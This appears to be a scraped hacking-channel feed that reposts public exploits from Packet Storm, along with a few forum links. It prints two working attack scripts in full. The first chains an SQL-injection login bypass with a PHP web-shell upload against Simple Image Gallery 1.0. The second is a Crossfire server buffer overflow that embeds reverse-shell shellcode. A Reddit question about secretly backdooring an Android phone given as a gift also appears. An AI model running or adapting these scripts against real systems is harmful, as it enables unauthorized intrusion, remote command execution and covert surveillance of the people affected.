Hacking Articles Tips Tricks Videos Tutorials

COVID-19 Testing Management System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 19:19

4 views19:19

4 views19:19

Exploit Collector
Simple Image Gallery 1.0 Shell Upload

https://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png
Simple Image Gallery version 1.0 suffers from an unauthenticated remote shell upload vulnerability.

MD5 | 29353b69e905ce60836dcda2ac84309e

Download

# Exploit Title: Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 17.08.2021
# Exploit Author: Tagoletta (Tağmaç)
# Software Link: https://www.sourcecodester.com/php/14903/simple-image-gallery-web-app-using-php-free-source-code.html
# Version: V 1.0
# Tested on: Ubuntu

import requests
import random
import string
import json
from bs4 import BeautifulSoup

url = input("TARGET = ")

if not url.startswith('http://') and not url.startswith('https://'):
url = "http://" + url
if not url.endswith('/'):
url = url + "/"

payload= ""

session = requests.session()

print("Login Bypass")

request_url = url + "/classes/Login.php?f=login"
post_data = {"username": "admin' or '1'='1'#", "password": ""}
bypassUser = session.post(request_url, data=post_data)
data = json.loads(bypassUser.text)
status = data["status"]

if status == "success":

let = string.ascii_lowercase

shellname = ''.join(random.choice(let) for i in range(15))
shellname = 'Tago'+shellname+'Letta'

print("shell name "+shellname)

print("\nprotecting user")
request_url = url + "?page=user"
getHTML = session.get(request_url)
getHTMLParser = BeautifulSoup(getHTML.text, 'html.parser')

ids = getHTMLParser.find('input', {'name':'id'}).get("value")
firstname = getHTMLParser.find('input', {'id':'firstname'}).get("value")
lastname = getHTMLParser.find('input', {'id':'lastname'}).get("value")
username = getHTMLParser.find('input', {'id':'username'}).get("value")

print("\nUser ID : " + ids)
print("Firsname : " + firstname)
print("Lasname : " + lastname)
print("Username : " + username + "\n")

print("shell uploading")

request_url = url + "/classes/Users.php?f=save"
request_headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary9nI3gVmJoEZoZyeA"}
request_data = "------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n"+ids+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\n"+firstname+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\n"+lastname+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+username+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+shellname+".php\"\r\nContent-Type: application/octet-stream\r\n\r\n"+payload+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA--\r\n"
upload = session.post(request_url, headers=request_headers, data=request_data)

if upload.text == "1":
print("- OK -")
req = session.get(url + "/?page=user")
parser = BeautifulSoup(req.text, 'html.parser')
find_shell = parser.find('img', {'id':'cimg'})
print("Shell URL : " + find_shell.get("src") + "?cmd=whoami")
else:
print("- NO :( -")
else:
print("No bypass user")

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Simple Image Gallery 1.0 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 19:19

Exploit Collector
Crossfire Server 1.0 Buffer Overflow

https://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png
Crossfire Server version 1.0 SetUp() remote buffer overflow exploit.

MD5 | 2c6f2d01367a86b17cb7ecd8cf95eb93

Download

# Exploit Title: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow
# Exploit Author: Khaled Salem @Khaled0x07
# Software Link: https://www.exploit-db.com/apps/43240af83a4414d2dcc19fff3af31a63-crossfire-1.9.0.tar.gz
# Version: 1.9.0
# Tested on: Kali Linux 2020.4
# CVE : CVE-2006-1236

#!/bin/python
import socket
import time
# Crash at 4379
# EIP Offset at 4368
# Badchar \x00\x20
# ECX Size 170
# CALL ECX 0x080640eb

size = 4379

# Attacker IP: 127.0.0.1 Port: 443
shellcode =  b""
shellcode += b"\xd9\xee\xd9\x74\x24\xf4\xb8\x60\x61\x5f\x28"
shellcode += b"\x5b\x33\xc9\xb1\x12\x31\x43\x17\x03\x43\x17"
shellcode += b"\x83\xa3\x65\xbd\xdd\x12\xbd\xb6\xfd\x07\x02"
shellcode += b"\x6a\x68\xa5\x0d\x6d\xdc\xcf\xc0\xee\x8e\x56"
shellcode += b"\x6b\xd1\x7d\xe8\xc2\x57\x87\x80\xab\xa7\x77"
shellcode += b"\x51\x3c\xaa\x77\x50\x07\x23\x96\xe2\x11\x64"
shellcode += b"\x08\x51\x6d\x87\x23\xb4\x5c\x08\x61\x5e\x31"
shellcode += b"\x26\xf5\xf6\xa5\x17\xd6\x64\x5f\xe1\xcb\x3a"
shellcode += b"\xcc\x78\xea\x0a\xf9\xb7\x6d"
try:
filler = "\x90"*(4368 - 170) + shellcode+"\x90"*(170-len(shellcode))
EIP = "\xeb\x40\x06\x08" 
padding = "C" * (4379 - len(filler) - len(EIP))
payload = filler + EIP + padding
inputBuffer = "\x11(setup sound "+ payload +"\x90\x00#"
print("Sending Buffer with size:" + str(len(payload)))
s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
s.connect(("192.168.1.4",13327)) # Server IP Address: 192.168.1.4
print(s.recv(1024))

s.send(inputBuffer)
s.close()

except:
print("Could not connect")
exit(0)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Crossfire Server 1.0 Buffer Overflow

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 19:19

Exploit Collector
Hospital Management System Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Hospital Management System Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 19:19

6 views19:42

How Does Your Browser Spy on You? - Kali Linux Tutorials

Kali Linux Tutorials
How Does Your Browser Spy on You?

Unfortunately, we have to admit that we are all under Big Brother’s watchful eye. Internet keeps every piece of information even when we don’t really want to share it. Indeed, corporations state they need detailed information about a person only to offer intuitive web surfing and optimal advertising. But you shouldn’t really trust these «hearty» […]

The post How Does Your Browser Spy on You? appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

Unfortunately, we have to admit that we are all under Big Brother’s watchful eye. Internet keeps every piece of information even when we don’t really want to share it. Indeed, corporations state they need detailed information about a person only to offer…

7 viewsedited 19:42

Hello! Would it be illegal in any way to backdoor a android device before gifting it to someone? If not is there anything you cant do?

hacking: security in practice
Legality of a backdoor

Hello! Would it be illegal in any way to backdoor a android device before gifting it to someone? If not is there anything you cant do?

submitted by /u/manifest_destiny_2
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Legality of a backdoor

7 viewsedited 20:31

7 views20:33

Punk Protocol Hack - How Did A White Hat Attacker Save 6 Million...

hacking: security in practice
Punk Protocol Hack - How Did A White Hat Attacker Save 6 Million USD From Being Stolen? - Decyphered

https://external-preview.redd.it/WW75zrjPtrJKwxDK05aarCwQbs1408pMYv-hm01az78.jpg?width=320&crop=smart&auto=webp&s=e0a84689ae9654dfd14f5c41a236b72f4255e81b submitted by /u/stanley9528
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Posted in r/hacking by u/stanley9528 • 1 point and 0 comments

6 viewsedited 20:33